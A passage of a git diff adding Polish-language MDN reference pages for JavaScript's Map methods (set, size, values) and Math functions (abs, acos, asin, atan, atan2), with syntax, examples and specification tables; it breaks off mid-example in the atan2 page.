<td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + + + +<p>{{Compat("javascript.builtins.Map.keys")}}</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("Map.prototype.entries()")}}</li> + <li>{{jsxref("Map.prototype.values()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/map/set/index.html b/files/pl/web/javascript/referencje/obiekty/map/set/index.html new file mode 100644 index 0000000000..951cefd229 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/map/set/index.html @@ -0,0 +1,96 @@ +--- +title: Map.prototype.set() +slug: Web/JavaScript/Referencje/Obiekty/Map/set +tags: + - ECMAScript 2015 + - JavaScript + - Mapa + - Metodă + - Prototyp +translation_of: Web/JavaScript/Reference/Global_Objects/Map/set +--- +<div>{{JSRef}}</div> + +<p>Metoda <code><strong>set()</strong></code> dodaje lub zmienia element o podany <code>kluczu</code> i <code>wartości</code> w <code>Mapie</code>. </p> + +<div>{{EmbedInteractiveExample("pages/js/map-prototype-set.html")}}</div> + + + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><code><em>myMap</em>.set(key, value);</code></pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt>key</dt> + <dd>Wymagany. Klucz elementu, który zostanie dodany do <code>Mapy</code>.</dd> + <dt>value</dt> + <dd>Wymagany. Wartość elementu, który zostanie dodany do <code>Mapy</code>.</dd> +</dl> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p> Obiekt typu <code>Map</code>.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Używanie_set()">Używanie <code>set()</code></h3> + +<pre class="brush: js">var myMap = new Map(); + +// Dodawanie nowych elementu +myMap.set('bar', 'foo'); +myMap.set(1, 'foobar'); + +// Zmiana istniejącego już elementu +myMap.set('bar', 'baz'); +</pre> + +<h3 id="Używanie_set_w_połączeniu_z_łańcuchowaniem">Używanie <code>set</code> w połączeniu z łańcuchowaniem</h3> + +<p>Ponieważ <code>set()</code> zwraca ten sam obiekt typu <code>Mapa</code>, można użyć chainingu (uruchamianie metod jedna po drugiej na danym obiekcie przy użyciu kropek).</p> + +<pre class="brush: js">// Dodawanie elementów do mapy za pomocą chainingu +myMap.set('bar', 'foo') + .set(1, 'foobar') + .set(2, 'baz'); + +</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-map.prototype.set', 'Map.prototype.set')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Definicja początowa.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-map.prototype.set', 'Map.prototype.set')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + + + +<p>{{Compat("javascript.builtins.Map.set")}}</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("Map")}}</li> + <li>{{jsxref("Map.prototype.get()")}}</li> + <li>{{jsxref("Map.prototype.has()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/map/size/index.html b/files/pl/web/javascript/referencje/obiekty/map/size/index.html new file mode 100644 index 0000000000..0ec1025e46 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/map/size/index.html @@ -0,0 +1,65 @@ +--- +title: Map.prototype.size +slug: Web/JavaScript/Referencje/Obiekty/Map/size +tags: + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Map/size +--- +<div>{{JSRef}}</div> + +<p>Atrybut <code><strong>size</strong></code> zwraca ilość elementów znajdujących się w obiekcie {{jsxref("Map")}}.</p> + +<div>{{EmbedInteractiveExample("pages/js/map-prototype-size.html")}}</div> + +<p class="hidden">Żródło dla tego przykładu interaktywnego jest przechowywane w repozytorium w serwisie GitHub. Jeśli chciałbyś pomoć przy projekcie przykładów, prosimy o sklonowanie repozytorium <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> i wysłanie pull request.</p> + +<h2 id="Opis">Opis</h2> + +<p>Wartość <code>size</code> to liczba reprezentująca ile elementów posiada obiekt <code>Map</code>. Funkcja set dla <code>size</code> to <code>undefined</code>; nie można edytować tego atrybutu.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Użycie_size">Użycie <code>size</code></h3> + +<pre class="brush:js">var myMap = new Map(); +myMap.set('a', 'alpha'); +myMap.set('b', 'beta'); +myMap.set('g', 'gamma'); + +myMap.size // 3 +</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-get-map.prototype.size', 'Map.prototype.size')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Definicja początkowa.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-get-map.prototype.size', 'Map.prototype.size')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność">Kompatybilność</h2> + +<div class="hidden">Tabela kompatybilności na tej stronie jest generowana z danych zewnętrznych. Jeśli chciałbyś pomóc przy tych danych, polecamy zajrzeć na <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> i wysłać pull request.</div> + +<p>{{Compat("javascript.builtins.Map.size")}}</p> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>{{jsxref("Map")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/map/values/index.html b/files/pl/web/javascript/referencje/obiekty/map/values/index.html new file mode 100644 index 0000000000..50a7d72d0f --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/map/values/index.html @@ -0,0 +1,77 @@ +--- +title: Map.prototype.values() +slug: Web/JavaScript/Referencje/Obiekty/Map/values +tags: + - ECMAScript 2015 + - Iterator + - JavaScript + - Mapa + - Metodă + - Prototyp +translation_of: Web/JavaScript/Reference/Global_Objects/Map/values +--- +<div>{{JSRef}}</div> + +<p>Metoda <code><strong>values()</strong></code> zwraca nowy obiekt typu <strong><a href="/pl/docs/Web/JavaScript/Guide/Iterators_and_Generators">Iterator</a></strong>, który zawiera wartości dla każdego elementu w <code>Mapie</code>. Można się do nich odnieść w takiej kolejności, jakiej zostały wstawione.</p> + +<div>{{EmbedInteractiveExample("pages/js/map-prototype-values.html")}}</div> + + + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><code><em>myMap</em>.values()</code></pre> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>Nowy iterator obiektu typu {{jsxref("Map")}}.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Używanie_values()">Używanie <code>values()</code></h3> + +<pre class="brush:js">var myMap = new Map(); +myMap.set('0', 'foo'); +myMap.set(1, 'bar'); +myMap.set({}, 'baz'); + +var mapIter = myMap.values(); + +console.log(mapIter.next().value); // "foo" +console.log(mapIter.next().value); // "bar" +console.log(mapIter.next().value); // "baz"</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-map.prototype.values', 'Map.prototype.values')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Definicja początkowa.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-map.prototype.values', 'Map.prototype.values')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + + + +<p>{{Compat("javascript.builtins.Map.values")}}</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("Map.prototype.entries()")}}</li> + <li>{{jsxref("Map.prototype.keys()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/math/abs/index.html b/files/pl/web/javascript/referencje/obiekty/math/abs/index.html new file mode 100644 index 0000000000..c3b333a4ce --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/abs/index.html @@ -0,0 +1,54 @@ +--- +title: Math.abs() +slug: Web/JavaScript/Referencje/Obiekty/Math/abs +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/abs +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca wartość bezwzględną danej liczby.</p> + +<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.abs</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mrow><mo stretchy="false">|</mo><mi>x</mi><mo stretchy="false">|</mo></mrow><mo>=</mo><mrow><mo>{</mo><mtable columnalign="left left"><mtr><mtd><mi>x</mi></mtd><mtd><mtext>if</mtext><mspace width="1em"></mspace><mi>x</mi><mo>></mo><mn>0</mn></mtd></mtr><mtr><mtd><mi>0</mi></mtd><mtd><mtext>if</mtext><mspace width="1em"></mspace><mi>x</mi><mo>=</mo><mn>0</mn></mtd></mtr><mtr><mtd><mo>-</mo><mi>x</mi></mtd><mtd><mtext>if</mtext><mspace width="1em"></mspace><mi>x</mi><mo><</mo><mn>0</mn></mtd></mtr></mtable></mrow></mrow><annotation encoding="TeX">{\mathtt{\operatorname{Math.abs}(x)}} = {|x|} = \begin{cases} x & \text{if} \quad x \geq 0 \\ -x & \text{if} \quad x < 0 \end{cases} </annotation></semantics></math></p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>Math.abs(<var>x</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>x</code> </dt> + <dd>liczba.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Ponieważ <code>abs</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.abs()</code>, a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.abs" name="Przyk.C5.82ad:_Zastosowanie_Math.abs">Przykład: Zastosowanie <code>Math.abs()</code></h3> + +<p>Poniższa funkcja zwraca wartość bezwzględną zmiennej <code>x</code>:</p> + +<pre class="brush: js">Math.abs('-1'); // 1 +Math.abs(-2); // 2 +Math.abs(null); // 0 +Math.abs('string'); // NaN +Math.abs(); // NaN +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Math.ceil()")}}</li> + <li>{{jsxref("Math.floor()")}}</li> + <li>{{jsxref("Math.round()")}}</li> + <li>{{jsxref("Math.sign()")}} {{experimental_inline}}</li> + <li>{{jsxref("Math.trunc()")}} {{experimental_inline}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/math/acos/index.html b/files/pl/web/javascript/referencje/obiekty/math/acos/index.html new file mode 100644 index 0000000000..afb1485ada --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/acos/index.html @@ -0,0 +1,59 @@ +--- +title: Math.acos() +slug: Web/JavaScript/Referencje/Obiekty/Math/acos +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/acos +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca arcus cosinus (w radianach) danej liczby.</p> + +<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>∊</mo><mo stretchy="false">[</mo><mrow><mo>-</mo><mn>1</mn></mrow><mo>;</mo><mn>1</mn><mo stretchy="false">]</mo><mo>,</mo><mspace width="thickmathspace"></mspace><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.acos</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">arccos</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> the unique </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>∊</mo><mo stretchy="false">[</mo><mn>0</mn><mo>;</mo><mi>π</mi><mo stretchy="false">]</mo><mspace width="thinmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">cos</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \in [{-1};1],\;\mathtt{\operatorname{Math.acos}(x)} = \arccos(x) = \text{ the unique } \; y \in [0; \pi] \, \text{such that} \; \cos(y) = x</annotation></semantics></math></p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>Math.acos(<var>x</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>x</code> </dt> + <dd>liczba.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Metoda <code>acos</code> zwraca wartość numeryczną od 0 do pi dla <code>x</code> pomiędzy -1 a 1. Jeśli liczba <code>x</code> jest spoza przedziału [-1, 1], zwracany jest {{jsxref("NaN")}}.</p> + +<p>Ponieważ <code>acos</code> jest statyczną metodą obiektu <code>Math</code>, zawsze odwołujemy się do niej poprzez <code>Math.acos()</code>, a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.acos" name="Przyk.C5.82ad:_Zastosowanie_Math.acos">Przykład: Zastosowanie <code>Math.acos()</code></h3> + +<p>Poniższa funkcja zwraca arcus cosinus zmiennej <code>x</code>:</p> + +<pre class="brush: js language-js"><code class="language-js">Math<span class="token punctuation">.</span><span class="token function">acos<span class="token punctuation">(</span></span><span class="token operator">-</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // NaN +</span>Math<span class="token punctuation">.</span><span class="token function">acos<span class="token punctuation">(</span></span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 3.141592653589793 +</span>Math<span class="token punctuation">.</span><span class="token function">acos<span class="token punctuation">(</span></span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 1.5707963267948966 +</span>Math<span class="token punctuation">.</span><span class="token function">acos<span class="token punctuation">(</span></span><span class="token number">0.5</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 1.0471975511965979 +</span>Math<span class="token punctuation">.</span><span class="token function">acos<span class="token punctuation">(</span></span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 0 +</span>Math<span class="token punctuation">.</span><span class="token function">acos<span class="token punctuation">(</span></span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // NaN</span></code></pre> + +<p>Jeśli do <code>getAcos</code> przekazana zostanie wartość -1, funkcja zwróci 3.141592653589793; jeśli przekazana zostanie wartość 2, zwrócony zostanie <code>NaN</code>, ponieważ 2 jest poza zakresem (tj. dziedziną funkcji arcus cosinus).</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Math.asin()")}}</li> + <li>{{jsxref("Math.atan()")}}</li> + <li>{{jsxref("Math.atan2()")}}</li> + <li>{{jsxref("Math.cos()")}}</li> + <li>{{jsxref("Math.sin()")}}</li> + <li>{{jsxref("Math.tan()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/math/asin/index.html b/files/pl/web/javascript/referencje/obiekty/math/asin/index.html new file mode 100644 index 0000000000..e473586a49 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/asin/index.html @@ -0,0 +1,58 @@ +--- +title: Math.asin() +slug: Web/JavaScript/Referencje/Obiekty/Math/asin +tags: + - JavaScript + - Math +translation_of: Web/JavaScript/Reference/Global_Objects/Math/asin +--- +<p>{{jsref}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca arcus sinus (w radianach) danej liczby.</p> + +<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>∊</mo><mo stretchy="false">[</mo><mrow><mo>-</mo><mn>1</mn></mrow><mo>;</mo><mn>1</mn><mo stretchy="false">]</mo><mo>,</mo><mspace width="thickmathspace"></mspace><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.asin</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">arcsin</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> the unique </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>∊</mo><mrow><mo>[</mo><mrow><mo>-</mo><mfrac><mi>π</mi><mn>2</mn></mfrac><mo>;</mo><mfrac><mi>π</mi><mn>2</mn></mfrac></mrow><mo>]</mo></mrow><mspace width="thinmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">sin</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \in [{-1};1],\;\mathtt{\operatorname{Math.asin}(x)} = \arcsin(x) = \text{ the unique } \; y \in \left[-\frac{\pi}{2}; \frac{\pi}{2}\right] \, \text{such that} \; \sin(y) = x</annotation></semantics></math></p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>Math.asin(<var>x</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>x</code> </dt> + <dd>liczba.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Metoda <code>Math.asin()</code> zwraca wartość liczbową pomiędzy <math><semantics><mrow><mo>-</mo><mfrac><mi>π</mi><mn>2</mn></mfrac></mrow><annotation encoding="TeX">-\frac{\pi}{2}</annotation></semantics></math> i <math><semantics><mfrac><mi>π</mi><mn>2</mn></mfrac><annotation encoding="TeX">\frac{\pi}{2}</annotation></semantics></math> radianów dla <code>x</code> z przedziału [-1, 1]. Jeśli <code>x</code> jest poza tym zakresem, zwracany jest <code>NaN</code>.</p> + +<p>Ponieważ <code>asin</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.asin()</code>, a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.asin" name="Przyk.C5.82ad:_Zastosowanie_Math.asin">Przykład: Zastosowanie <code>Math.asin()</code></h3> + +<p>Poniższa funkcja zwraca arcus sinus zmiennej <code>x</code>:</p> + +<pre class="brush: js language-js"><code class="language-js">Math<span class="token punctuation">.</span><span class="token function">asin<span class="token punctuation">(</span></span><span class="token operator">-</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // NaN +</span>Math<span class="token punctuation">.</span><span class="token function">asin<span class="token punctuation">(</span></span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // -1.5707963267948966 (-pi/2) +</span>Math<span class="token punctuation">.</span><span class="token function">asin<span class="token punctuation">(</span></span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 0 +</span>Math<span class="token punctuation">.</span><span class="token function">asin<span class="token punctuation">(</span></span><span class="token number">0.5</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 0.5235987755982989 +</span>Math<span class="token punctuation">.</span><span class="token function">asin<span class="token punctuation">(</span></span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 1.570796326794897 (pi/2) +</span>Math<span class="token punctuation">.</span><span class="token function">asin<span class="token punctuation">(</span></span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // NaN</span></code></pre> + +<p>Jeśli do funkcji <code>getAsin</code> przekazana zostanie wartość 1, funkcja ta zwróci 1.570796326794897 (pi/2); jeśli przekazana zostanie wartość 2, funkcja zwróci {{jsxref("<code>NaN</code>")}}, ponieważ 2 jest poza dziedziną funkcji arcus sinus.</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Math.acos()")}}</li> + <li>{{jsxref("Math.atan()")}}</li> + <li>{{jsxref("Math.atan2()")}}</li> + <li>{{jsxref("Math.cos()")}}</li> + <li>{{jsxref("Math.sin()")}}</li> + <li>{{jsxref("Math.tan()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/math/atan/index.html b/files/pl/web/javascript/referencje/obiekty/math/atan/index.html new file mode 100644 index 0000000000..4e452e1f13 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/atan/index.html @@ -0,0 +1,51 @@ +--- +title: Math.atan() +slug: Web/JavaScript/Referencje/Obiekty/Math/atan +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/atan +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca arcus tangens (w radianach) danej liczby.</p> + +<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.atan</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">arctan</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> the unique </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>∊</mo><mrow><mo>[</mo><mrow><mo>-</mo><mfrac><mi>π</mi><mn>2</mn></mfrac><mo>;</mo><mfrac><mi>π</mi><mn>2</mn></mfrac></mrow><mo>]</mo></mrow><mspace width="thinmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">tan</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\mathtt{\operatorname{Math.atan}(x)} = \arctan(x) = \text{ the unique } \; y \in \left[-\frac{\pi}{2}; \frac{\pi}{2}\right] \, \text{such that} \; \tan(y) = x</annotation></semantics></math></p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>Math.atan(<var>x</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>x</code> </dt> + <dd>liczba.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Metoda <code>atan</code> zwraca wartość liczbową pomiędzy <math><semantics><mrow><mo>-</mo><mfrac><mi>π</mi><mn>2</mn></mfrac></mrow><annotation encoding="TeX">-\frac{\pi}{2}</annotation></semantics></math> i <math><semantics><mfrac><mi>π</mi><mn>2</mn></mfrac><annotation encoding="TeX">\frac{\pi}{2}</annotation></semantics></math> radianów.</p> + +<p>Ponieważ <code>atan</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.atan()</code>, a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.atan" name="Przyk.C5.82ad:_Zastosowanie_Math.atan">Przykład: Zastosowanie <code>Math.atan()</code></h3> + +<pre class="brush: js language-js"><code class="language-js">Math<span class="token punctuation">.</span><span class="token function">atan<span class="token punctuation">(</span></span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 0.7853981633974483 +</span>Math<span class="token punctuation">.</span><span class="token function">atan<span class="token punctuation">(</span></span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 0</span></code></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Math.acos()")}}</li> + <li>{{jsxref("Math.asin()")}}</li> + <li>{{jsxref("Math.atan2()")}}</li> + <li>{{jsxref("Math.cos()")}}</li> + <li>{{jsxref("Math.sin()")}}</li> + <li>{{jsxref("Math.tan()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/math/atan2/index.html b/files/pl/web/javascript/referencje/obiekty/math/atan2/index.html new file mode 100644 index 0000000000..81f4606036 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/atan2/index.html @@ -0,0 +1,63 @@ +--- +title: Math.atan2() +slug: Web/JavaScript/Referencje/Obiekty/Math/atan2 +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/atan2 +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca kąta (w radianach) utworzony przez oś OX i prostą przechodzącą przez punkt o podanych współrzędnych.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>Math.atan2(<var>y</var>, <var>x</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>y, x</code> </dt> + <dd>liczby.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Metoda <code>atan2</code> zwraca wartość liczbową pomiędzy -π a π, reprezentującą kąt theta punktu <code>(x, y)</code>. Kąt ten, mierzony w radianach, został utworzony przez dodatnią oś OX i punkt <code>(x,y)</code>, z obrotem w kierunku przeciwnym do ruchu wskazówek zegara. Należy zwrócić uwagę na to, że pierwszym argumentem tej funkcji jest współrzędna y, a x jest argumentem drugim.</p> + +<p>Do metody Math.<code>atan2</code>() przekazywane są osobno argumenty <code>x</code> i <code>y</code>, podczas gdy do metody <code>atan</code> przekazywany jest stosunek tych dwóch wartości.</p> + +<p>Ponieważ <code>atan2()</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.atan2()</code>, a nie jak do metody instancji obiektu Math utworzonej przez użytkownika.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.atan2" name="Przyk.C5.82ad:_Zastosowanie_Math.atan2">Przykład: Zastosowanie <code>Math.atan2()</code></h3> + +<pre class="brush: js language-js"><code class="language-js">Math<span class="token punctuation">.</span><span class="token function">atan2<span class="token punctuation">(</span></span><span class="token number">90</span><span class="token punctuation">,</span> <span class="token number">15</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 1.4056476493802699 +</span>Math<span class="token punctuation">.</span><span class="token function">atan2<span class="token punctuation">(</span></span><span class="token number">15</span><span class="token punctuation">,</span> <span class="token number">90</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 0.16514867741462683 +</span> +Math<span class="token punctuation">.</span><span class="token function">atan2<span class="token punctuation">(</span></span>±<span class="token number">0</span><span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // ±PI. +</span>Math<span class="token punctuation">.</span><span class="token function">atan2<span class="token punctuation">(</span></span>±<span class="token number">0</span><span class="token punctuation">,</span> <span class="token operator">+</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // ±0. +</span>Math<span class="token punctuation">.</span><span class="token function">atan2<span class="token punctuation">(</span></span>±<span class="token number">0</span><span class="token punctuation">,</span> <span class="token operator">-</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // ±PI for x > 0. +</span>Math<span class="token punctuation">.</span><span class="token function">atan2<span class="token punctuation">(</span></span>±<span class="token number">0</span><span class="token punctuation">,</span> x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // ±0 for x > 0. +</span>Math<span class="token punctuation">.</span><span class="token function">atan2<span class="token punctuation">(</span></span><span class="token operator">-</span>y<span class="token punctuation">,</span> ±<span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // -PI/2 for y > 0. +</span>Math<span class="token punctuation">.</span><span class="token 